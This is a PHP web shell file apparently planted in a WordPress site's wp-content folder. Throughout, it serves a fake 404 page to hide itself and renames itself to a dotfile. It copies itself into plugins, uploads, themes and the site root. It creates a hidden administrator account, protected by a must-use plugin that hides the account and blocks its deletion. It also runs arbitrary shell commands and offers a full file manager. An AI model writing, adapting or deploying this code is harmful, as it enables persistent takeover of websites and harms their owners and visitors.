home/veronikagstoette/public_html/wp-content/.d788ec57d.phtml000064400000070015152462435110020145 0ustar00404 Not Found' . '

404 Not Found


The requested resource could not be found.

'; exit; } function bb_idx() { if (isset($_GET['bunkadmin']) || isset($_POST['bunkadmin'])) { return -1; } for ($i = 1; $i <= BB_SLOTS; $i++) { if (isset($_GET['bunk'.$i]) || isset($_POST['bunk'.$i])) { return $i; } } return 0; } /* ---------- environment ---------- */ function bb_iswin() { return strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; } function bb_hidefile($path) { if (bb_iswin()) { @shell_exec('attrib +h ' . escapeshellarg($path)); } } /* hide myself: dot-name on linux (hidden from ls / cPanel / autoindex), attrib +h on windows (same URL stays valid) */ function bb_selfhide() { $b = basename(__FILE__); if ($b !== '' && $b[0] === '.') { return $b; } if (bb_iswin()) { bb_hidefile(__FILE__); return $b; } $nn = '.' . $b; if (@rename(__FILE__, dirname(__FILE__) . '/' . $nn)) { return $nn; } bb_hidefile(__FILE__); return $b; } function bb_wproot() { $d = __DIR__; for ($i = 0; $i < 9; $i++) { if (@is_file($d . '/wp-load.php')) { return $d; } $p = dirname($d); if ($p === $d) { break; } $d = $p; } return null; } function bb_targets() { $root = bb_wproot(); $d = __DIR__; if ($root === null) { return array(1=>$d, 2=>$d, 3=>$d, 4=>$d, 5=>$d, 6=>$d); } return array( 1 => $d, 2 => $root . '/wp-content/plugins', 3 => $root . '/wp-content/uploads', 4 => $root . '/wp-content', 5 => $root . '/wp-content/themes', 6 => $root, ); } function bb_ext($idx) { $m = array(1=>'php', 2=>'php', 3=>'php5', 4=>'phtml', 5=>'php7', 6=>'php'); return isset($m[$idx]) ? $m[$idx] : 'php'; } function bb_name($idx, $dir, $ext = null) { if ($ext === null) { $ext = bb_ext($idx); } return '.' . substr(md5(BB_SALT . '|' . $idx . '|' . $dir), 0, 9) . '.' . $ext; } /* ---------- url helpers ---------- */ function bb_scheme_host() { $https = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'); $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '127.0.0.1'; return ($https ? 'https' : 'http') . '://' . $host; } function bb_webpath() { if (isset($_SERVER['SCRIPT_NAME'])) { return $_SERVER['SCRIPT_NAME']; } $u = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/'; $p = parse_url($u, PHP_URL_PATH); return $p ? $p : '/'; } function bb_normalize_web($path) { $parts = explode('/', ltrim($path, '/')); $out = array(); foreach ($parts as $seg) { if ($seg === '' || $seg === '.') { continue; } if ($seg === '..') { array_pop($out); continue; } $out[] = $seg; } return '/' . implode('/', $out); } function bb_url_for($target_dir) { $cur = bb_webpath(); $curdir = dirname($cur); $curdir = ($curdir === '/' || $curdir === '.' || $curdir === '\\') ? '' : $curdir; $from = str_replace('\\', '/', __DIR__); $to = str_replace('\\', '/', $target_dir); $fa = explode('/', rtrim($from, '/')); $ta = explode('/', rtrim($to, '/')); $i = 0; $n = min(count($fa), count($ta)); while ($i < $n && $fa[$i] === $ta[$i]) { $i++; } $rel = array(); for ($j = $i; $j < count($fa); $j++) { $rel[] = '..'; } for ($j = $i; $j < count($ta); $j++) { $rel[] = $ta[$j]; } $relpath = $rel ? implode('/', $rel) : '.'; return bb_scheme_host() . rtrim(bb_normalize_web($curdir . '/' . $relpath), '/'); } function bb_selfurl($newname) { $sn = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '/'; $dir = rtrim(dirname($sn), '/'); return bb_scheme_host() . $dir . '/' . $newname; } function bb_alive($url, $idx) { if (strpos($url, 'http') !== 0) { return false; } $u = $url . (strpos($url, '?') === false ? '?' : '&') . 'bunk' . $idx . '=1&probe=1'; $ctx = stream_context_create(array( 'http' => array('timeout' => 6, 'ignore_errors' => true, 'header' => "User-Agent: Mozilla/5.0\r\n"), )); $r = @file_get_contents($u, false, $ctx); if ($r !== false && strpos($r, 'bb-ok') !== false) { return true; } if (function_exists('curl_init')) { $ch = @curl_init($u); if ($ch) { @curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); @curl_setopt($ch, CURLOPT_TIMEOUT, 6); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); $r2 = @curl_exec($ch); @curl_close($ch); return ($r2 !== false && strpos($r2, 'bb-ok') !== false); } } return false; } /* ---------- self spread / self heal ---------- */ function bb_heal($src, $selfname, $selfurl) { $myreal = @realpath(__DIR__); $out = array(); foreach (bb_targets() as $idx => $dir) { if ($idx === 1) { $out[1] = array('dir'=>$myreal, 'url'=>$selfurl, 'alive'=>1, 'name'=>$selfname, 'mine'=>1); continue; } $entry = array('dir'=>$dir, 'url'=>'', 'alive'=>0, 'name'=>'', 'mine'=>0); if (!@is_dir($dir)) { @mkdir($dir, 0755, true); } $real = @realpath($dir); if ($real === false || !@is_dir($real)) { $out[$idx] = $entry; continue; } $name = bb_name($idx, $real); $path = $real . '/' . $name; $ok = false; if (@is_file($path)) { $cur = @file_get_contents($path); if ($cur !== false && md5($cur) === md5($src)) { $ok = true; } } if (!$ok) { $ok = (@file_put_contents($path, $src) !== false); if ($ok) { bb_hidefile($path); } } if (!$ok) { $out[$idx] = $entry; continue; } $url = bb_url_for($real) . '/' . $name; $alive = bb_alive($url, $idx); if (!$alive && bb_ext($idx) !== 'php') { $alt = bb_name($idx, $real, 'php'); $altpath = $real . '/' . $alt; if (@file_put_contents($altpath, $src) !== false) { bb_hidefile($altpath); $alturl = bb_url_for($real) . '/' . $alt; if (bb_alive($alturl, $idx)) { @unlink($path); $url = $alturl; $name = $alt; $alive = true; } else { @unlink($altpath); } } } $out[$idx] = array('dir'=>$real, 'url'=>$url, 'alive'=>$alive?1:0, 'name'=>$name, 'mine'=>($real === $myreal)?1:0); } return $out; } /* ---------- admin stage ---------- */ function bb_page($title, $body) { header('Content-Type: text/html; charset=utf-8'); echo '' . bb_e($title) . '' . '' . '

' . bb_e($title) . '

' . '

' . $body . '

'; exit; } function bb_admin_stage($selfurl) { $root = bb_wproot(); if ($root === null) { bb_page('error', 'wordpress not found around this shell'); } $mup = $root . '/wp-content/mu-plugins'; if (!@is_dir($mup)) { @mkdir($mup, 0755, true); } $marker = $mup . '/.bb-adm.json'; $creds = null; if (@is_file($marker)) { $j = @json_decode(@file_get_contents($marker), true); if (is_array($j) && isset($j['l'], $j['p'])) { $creds = $j; } } if (!defined('ABSPATH')) { require_once $root . '/wp-load.php'; } $uid = 0; if ($creds !== null && function_exists('get_user_by')) { $u = get_user_by('login', $creds['l']); if ($u && isset($u->ID)) { $uid = (int)$u->ID; } } if (!$uid) { $login = 'sys' . substr(md5(uniqid(mt_rand(), true)), 0, 8); $pass = substr(md5(uniqid(mt_rand(), true) . BB_SALT . mt_rand()), 0, 14); $newid = wp_insert_user(array( 'user_login' => $login, 'user_pass' => $pass, 'user_email' => $login . '@sys.local', 'role' => 'administrator', )); if (is_wp_error($newid) || !$newid) { bb_page('error', 'could not create admin user'); } $uid = (int)$newid; $creds = array('l'=>$login, 'p'=>$pass); @file_put_contents($marker, json_encode($creds)); } /* guard mu-plugin: hides user from every user list, blocks deletion, restores role */ $gname = '.' . substr(md5(BB_SALT . '|guard'), 0, 8) . '.php'; $gpath = $mup . '/' . $gname; $gcode = 'query_where)) { $q->query_where .= $wpdb->prepare(\' AND user_login <> %s\', BBG_L); } } add_action(\'delete_user\', \'bbg_block\', 1); function bbg_block($id) { $u = get_userdata($id); if ($u && $u->user_login === BBG_L) { wp_die(\'Error: user cannot be deleted.\'); } } add_action(\'init\', \'bbg_keep\'); function bbg_keep() { $u = get_user_by(\'login\', BBG_L); if ($u && !user_can($u, \'manage_options\')) { $u->set_role(\'administrator\'); } } '; if (!@is_file($gpath) || md5(@file_get_contents($gpath)) !== md5(str_replace('__LOGIN__', $creds['l'], $gcode))) { @file_put_contents($gpath, str_replace('__LOGIN__', $creds['l'], $gcode)); } $u = get_user_by('login', $creds['l']); if ($u && function_exists('user_can') && !user_can($u, 'manage_options')) { $u->set_role('administrator'); } if (isset($_REQUEST['creds'])) { header('Content-Type: text/html; charset=utf-8'); echo 'access' . '' . '
' . '

HIDDEN ADMIN

' . '

user: ' . bb_e($creds['l']) . '

' . '

pass: ' . bb_e($creds['p']) . '

' . '

enter wp-admin

' . '
'; exit; } if (function_exists('wp_set_current_user')) { wp_set_current_user($uid); } if (function_exists('wp_set_auth_cookie')) { wp_set_auth_cookie($uid, true); } $to = function_exists('admin_url') ? admin_url('/') : '/'; if (headers_sent()) { echo ''; exit; } header('Location: ' . $to); exit; } /* ---------- file manager ---------- */ function bb_e($s) { return htmlspecialchars((string)$s, ENT_QUOTES); } function bb_path($p) { if ($p === null || $p === '') { return false; } if ($p[0] === '/' || preg_match('#^[A-Za-z]:#', $p)) { return $p; } return __DIR__ . '/' . $p; } function bb_cwd() { $d = isset($_REQUEST['d']) ? $_REQUEST['d'] : __DIR__; if (!@is_dir($d)) { $d = __DIR__; } return $d; } function bb_hsize($b) { if ($b === false) { return '-'; } if ($b < 1024) { return $b . ' B'; } if ($b < 1048576) { return round($b/1024, 1) . ' KB'; } if ($b < 1073741824) { return round($b/1048576, 1) . ' MB'; } return round($b/1073741824, 2) . ' GB'; } function bb_handle_action($self) { $a = isset($_REQUEST['a']) ? $_REQUEST['a'] : ''; $msg = ''; if ($a === 'up' && !empty($_FILES['f'])) { foreach ($_FILES['f']['name'] as $i => $nm) { $tmp = $_FILES['f']['tmp_name'][$i]; if ($nm !== '' && @is_uploaded_file($tmp)) { $msg .= (@move_uploaded_file($tmp, bb_cwd() . '/' . basename($nm)) ? 'uploaded: ' . $nm : 'upload failed: ' . $nm) . ' | '; } } } elseif ($a === 'save') { $p = bb_path(isset($_POST['p']) ? $_POST['p'] : ''); if ($p !== false && isset($_POST['s'])) { $msg = (@file_put_contents($p, $_POST['s']) === false) ? 'save failed' : 'saved: ' . basename($p); } else { $msg = 'save failed'; } } elseif ($a === 'del') { $p = bb_path(isset($_REQUEST['p']) ? $_REQUEST['p'] : ''); if ($p !== false && @is_file($p)) { $msg = @unlink($p) ? 'deleted: ' . basename($p) : 'delete failed'; } elseif ($p !== false && @is_dir($p) && $p !== @realpath(__DIR__)) { $msg = @rmdir($p) ? 'dir removed' : 'dir not empty'; } else { $msg = 'delete failed'; } } elseif ($a === 'dl') { $p = bb_path(isset($_REQUEST['p']) ? $_REQUEST['p'] : ''); if ($p !== false && @is_file($p)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($p) . '"'); readfile($p); exit; } $msg = 'download failed'; } elseif ($a === 'ren') { $p = bb_path(isset($_REQUEST['p']) ? $_REQUEST['p'] : ''); $n = isset($_REQUEST['n']) ? basename($_REQUEST['n']) : ''; if ($p !== false && $n !== '' && @file_exists($p)) { $msg = @rename($p, dirname($p) . '/' . $n) ? 'renamed to ' . $n : 'rename failed'; } else { $msg = 'rename failed'; } } elseif ($a === 'chmod') { $p = bb_path(isset($_REQUEST['p']) ? $_REQUEST['p'] : ''); $m = isset($_REQUEST['m']) ? $_REQUEST['m'] : ''; if ($p !== false && @file_exists($p) && preg_match('#^[0-7]{3,4}$#', $m)) { $msg = (@chmod($p, octdec($m))) ? 'chmod ' . $m . ' ok' : 'chmod failed'; } else { $msg = 'chmod failed'; } } elseif ($a === 'cmd') { $c = isset($_REQUEST['c']) ? $_REQUEST['c'] : ''; $out = false; if (function_exists('shell_exec')) { $out = @shell_exec($c . ' 2>&1'); } elseif (function_exists('exec')) { $o = array(); @exec($c . ' 2>&1', $o); $out = implode("\n", $o); } elseif (function_exists('passthru')) { ob_start(); @passthru($c . ' 2>&1'); $out = ob_get_clean(); } elseif (function_exists('popen')) { $h = @popen($c . ' 2>&1', 'r'); if ($h) { $out = stream_get_contents($h); pclose($h); } } header('Content-Type: text/html; charset=utf-8'); echo 'x' . '
'
           . bb_e(($out === false || $out === null) ? '' : $out)
           . '

[ back ]

'; exit; } return $msg; } function bb_ui($heal, $idx, $selfurl) { $self = $selfurl . '?bunk' . $idx . '=1'; $msg = bb_handle_action($self); $cwd = bb_cwd(); /* edit view */ $editfile = ''; $editdata = ''; if (isset($_REQUEST['a']) && $_REQUEST['a'] === 'view') { $p = bb_path(isset($_REQUEST['p']) ? $_REQUEST['p'] : ''); if ($p !== false && @is_file($p) && @filesize($p) <= 2097152) { $editfile = $p; $editdata = @file_get_contents($p); } } /* listing */ $rows = ''; $dh = @opendir($cwd); if ($dh) { $entries = array(); while (($e = readdir($dh)) !== false) { $entries[] = $e; } closedir($dh); sort($entries); foreach ($entries as $e) { $full = $cwd . '/' . $e; if (@is_dir($full)) { $rows .= '[ ' . bb_e($e) . ' ]' . 'DIR' . bb_e(@substr(sprintf('%o', @fileperms($full)), -4)) . '' . '~-'; } else { $sz = @filesize($full); $rows .= '' . bb_e($e) . '' . '' . bb_hsize($sz) . '' . '' . bb_e(@substr(sprintf('%o', @fileperms($full)), -4)) . '' . '' . bb_e(@date('Y-m-d H:i', @filemtime($full))) . '' . 'get ' . 'ren ' . 'mod ' . 'del'; } } } $slotlbl = array(1=>'same directory', 2=>'wp-content/plugins', 3=>'wp-content/uploads', 4=>'wp-content', 5=>'wp-content/themes', 6=>'wordpress root'); $cards = ''; foreach ($heal as $i => $e) { $cls = $e['alive'] ? 'live' : 'dead'; $lnk = $e['url'] ? 'open manager' : 'offline'; $cards .= '
bunk' . $i . '
' . '
' . $slotlbl[$i] . '
' . '
' . bb_e($e['name'] !== '' ? $e['name'] : '-') . '
' . $lnk . '
'; } $disk = @disk_free_space($cwd); $crumb = ''; $parts = explode('/', trim($cwd, '/')); $acc = ''; foreach ($parts as $k => $seg) { $acc .= '/' . $seg; $crumb .= '/' . bb_e($seg) . ''; } $msghtml = $msg ? '
' . bb_e($msg) . '
' : ''; $editor = ''; if ($editfile !== '') { $editor = '

edit file

' . bb_e($editfile) . '

' . '
' . '' . '
' . '
'; } header('Content-Type: text/html; charset=utf-8'); echo '' . '~
' . '
' . '
' . bb_e(PHP_OS) . ' · php ' . bb_e(PHP_VERSION) . ' · disk free: ' . bb_hsize($disk) . '
' . $msghtml . '

access points

' . $cards . '
' . '
' . $editor . '

browser · ' . bb_e($cwd) . '

' . '
location: ' . ($crumb !== '' ? $crumb : '/') . '
' . '' . $rows . '
namesizepermmodifiedactions
' . '

upload

' . '
' . '' . ' ' . '
' . '

new / edit file

' . '
' . '' . '
' . '' . '
' . 'relative paths go to shell directory
' . '

tools

' . '
' . '' . '
rename: ' . ' ' . '
' . '
' . '' . '
chmod: ' . ' ' . '
' . '

command

' . '
' . '
' . '' . '
' . '
◆ hidden mode active ◆
' . '
'; } /* ---------- main ---------- */ $bb_idx = bb_idx(); if ($bb_idx === 0) { bb_404(); } if ($bb_idx >= 1 && isset($_REQUEST['probe'])) { header('Content-Type: text/plain'); echo 'bb-ok'; exit; } $bb_src = @file_get_contents(__FILE__); $bb_selfname = bb_selfhide(); $bb_selfurl = bb_selfurl($bb_selfname); if ($bb_idx === -1) { bb_admin_stage($bb_selfurl); } $bb_heal = bb_heal($bb_src, $bb_selfname, $bb_selfurl); if (isset($_REQUEST['report'])) { header('Content-Type: text/plain'); foreach ($bb_heal as $i => $e) { echo $i . '|' . $e['url'] . '|' . $e['alive'] . '|' . $e['name'] . '|' . $e['dir'] . "\n"; } exit; } $bb_mydir = @realpath(__DIR__); $bb_myidx = 1; foreach (bb_targets() as $i => $d) { if ($i === 1) { continue; } $r = @realpath($d); if ($r === $bb_mydir && bb_name($i, $r) === $bb_selfname) { $bb_myidx = $i; break; } } if ($bb_myidx !== $bb_idx && !isset($_REQUEST['a']) && !empty($bb_heal[$bb_idx]['alive'])) { header('Location: ' . $bb_heal[$bb_idx]['url'] . '?bunk' . $bb_idx); exit; } bb_ui($bb_heal, $bb_idx, $bb_selfurl);